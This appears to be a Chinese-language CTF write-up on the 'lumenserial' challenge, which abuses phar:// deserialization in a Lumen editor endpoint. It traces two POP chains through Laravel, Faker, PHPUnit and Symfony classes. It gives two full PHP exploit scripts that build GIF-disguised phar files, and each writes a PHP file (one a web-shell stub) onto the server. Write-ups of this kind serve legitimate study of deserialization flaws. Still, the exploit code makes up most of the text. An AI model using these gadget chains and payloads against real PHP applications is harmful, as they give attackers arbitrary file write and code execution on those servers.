在安全客看到了两篇文章PHP反序列化入门之寻找POP链(一),PHP反序列化入门之寻找POP链(二),之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。
任意反序列化
查看路由
/routers/web.php
<?php
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\File\File;
$router->get('/', function (Request $request) use ($router) {
return view('index');
});
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
跟进EditorController
,download方法中$url
未经过过滤直接传入file_get_contents
,查看$url
来源,如果我们可控,则我们可以利用phar://来任意反序列化。
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
查看$url
如何传入
function __construct()
{
$config_filename = app()->basePath('resources/editor/config.json');
$this->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents($config_filename)), true);
}
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
return response()->json([
'state' => 'SUCCESS',
'list' => $rets
]);
}
$url
从$sources
获得,$sources
我们可控,查看$this->config['catcherFieldName']
。
因此只要请求一个source
参数即可控制$url
,接下来就是寻找popchain。
由于这里环境为php7.2.12,且disable_function
过滤了各种危险函数。因此我们需要找到其他利用点,例如call_user_func_array('file_put_contents',array('smi1e.php','123'))
。
POP Chain 1
首先要寻找寻找__wakeup
或者 __destruct
。在phpggc 里面所有的Laravel/RCE 都是利用的\Illuminate\Broadcasting\PendingBroadcast::__destruct()
<?php
namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
$event
和$event
可控,因此要么我们控制$this->events
触发__call
方法,要么寻找带有dispatch
方法的类。
发现/vender/fzaninotto/faker/src/Faker/ValidGenerator.php
中的__call
方法比较好用。
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct(Generator $generator, $validator = null, $maxRetries = 10000)
{
if (is_null($validator)) {
$validator = function () {
return true;
};
} elseif (!is_callable($validator)) {
throw new \InvalidArgumentException('valid() only accepts callables as first argument');
}
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
}
可以看到call_user_func_array
的结果传入了call_user_func
,而$this->validator
我们可控,因此只要我们可以控制call_user_func_array
的返回结果,则可以执行任意类的方法。
接下来就是找一个可以控制返回结果的类
/vender/fzaninotto/faker/src/Faker/DefaultGenerator.php
<?php
namespace Faker;
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
public function __get($attribute)
{
return $this->default;
}
public function __call($method, $attributes)
{
return $this->default;
}
}
现在call_user_func($this->validator, $res)
两个参数都可控,但是执行file_put_contents
需要两个参数,因此我们需要再找到一个类中有call_user_func_array
函数,且参数可控的方法。
/phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php
namespace PHPUnit\Framework\MockObject\Stub;
use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\MockObject\Stub;
class ReturnCallback implements Stub
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}
.....
}
Invocation是一个接口,查找其实现的代码。
/phpunit/phpunit/src/MockObject/Invocation/Invocation.php
<?php
namespace PHPUnit\Framework\MockObject;
/**
* Interface for invocations.
*/
interface Invocation
{
/**
* @return mixed mocked return value
*/
public function generateReturnValue();
public function getClassName(): string;
public function getMethodName(): string;
public function getParameters(): array;
public function getReturnType(): string;
public function isReturnTypeNullable(): bool;
}
/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php
class StaticInvocation implements Invocation, SelfDescribing
{
public function __construct($className, $methodName, array $parameters, $returnType, $cloneObjects = false)
{
$this->className = $className;
$this->methodName = $methodName;
$this->parameters = $parameters;
.....
}
public function getParameters(): array
{
return $this->parameters;
}
$invocation->getParameters()
的返回值可控。因此我们可以完全控制call_user_func_array($this->callback, $invocation->getParameters())
中的参数。
exp
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation
{
private $parameters;
public function __construct($parameters)
{
$this->parameters = $parameters;
}
}
};
namespace{
$function='file_put_contents';
$parameters=array('/var/www/html/smi1e.php','<?php $_POST[\'1\'];?>');
$invocation=new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$return=new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$default=new Faker\DefaultGenerator($invocation);
$valid=new Faker\ValidGenerator($default,array($return,'invoke'),100);
$obj=new Illuminate\Broadcasting\PendingBroadcast($valid,1);
$o = $obj;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
};
?>
ps:这里/var/www/html
目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。
POP Chain 2
这个链的核心是/vender/fzaninotto/faker/src/Faker/Generator.php
class Generator
{
protected $providers = array();
protected $formatters = array();
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
}
call_user_func_array
可以看到call_user_func_array
的两个参数完全可控,因此我们只要找到方法中存在形如this->$object->$method($arg1,$arg2)
且4个参数均可控的地方,就可以利用这个 Generator 类的 __call
方法,最终执行call_user_func_array('file_put_contents',array('1.php','123'))
。
/vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php
中的dispatch
方法
class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}
if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}
$this->preProcess($eventName);
......
}
跟进preProcess方法
可以看到这里有我们想要的this->$object->$method($arg1,$arg2)
,且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的$this->getListenerPriority
会发现该方法也有我们想要的东西,这样就更好了。
但前提是我们要绕过这个if条件,我们需要让$this->dispatcher->hasListeners($eventName)
返回为True。
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;
return;
}
我们可以继续利用开头说到的这个POP链的核心类/vender/fzaninotto/faker/src/Faker/Generator.php
,令$formatters['hasListeners']
等于一个能够把$eventName
做为参数且返回True的函数即可,而$eventName
其实是需要写的文件路径。因此用strlen函数即可。
继续跟进foreach条件,我们需要控制$this->dispatcher->getListeners($eventName)
的返回结果进而才能控制$listener
,搜索可利用的getListeners
方法。
/vender/illuminate/events/Dispatcher.php
class Dispatcher implements DispatcherContract
{
protected $listeners = [];
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];
$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);
return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}
}
可以发现$listeners
很容易被控制,从而我们可以控制返回结果。现在我们可以控制$this->dispatcher->getListenerPriority($eventName, $listener)
所有参数,然后再次利用开头所说的核心类/vender/fzaninotto/faker/src/Faker/Generator.php
执行call_user_func_array($this->getFormatter($formatter), $arguments);
,参数完全可控,从而执行call_user_func_array('file_put_contents',array('1.php','123'))
。
第二个POP链看着wp都构造不出来,看懵逼了。。。找到这个链的师傅太强了,Orz!
exp
<?php
namespace Illuminate\Events{
class Dispatcher
{
protected $listeners = [];
protected $wildcardsCache = [];
public function __construct($parameter){
$this->listeners[$parameter['filename']] = array($parameter['contents']);
}
}
};
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array();
public function __construct($providers,$formatters){
$this->formatters = $formatters;
$this->providers = $providers;
}
}
};
namespace Symfony\Component\EventDispatcher\Debug{
class TraceableEventDispatcher{
private $dispatcher;
public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
};
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $parameter){
$this->events = $events;
$this->event = $parameter['filename'];
}
}
};
namespace{
$function='file_put_contents';
$paramters=array('filename'=>'/var/www/html/upload/1.php','contents'=>'<? phpinfo();?>');
$dispatcher = new Illuminate\Events\Dispatcher($paramters);
$generator = new Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
$trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
$obj =new Illuminate\Broadcasting\PendingBroadcast($trace,$paramters);
$o = $obj;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
};
?>
这次我直接写进了upload目录,没有更改容器权限。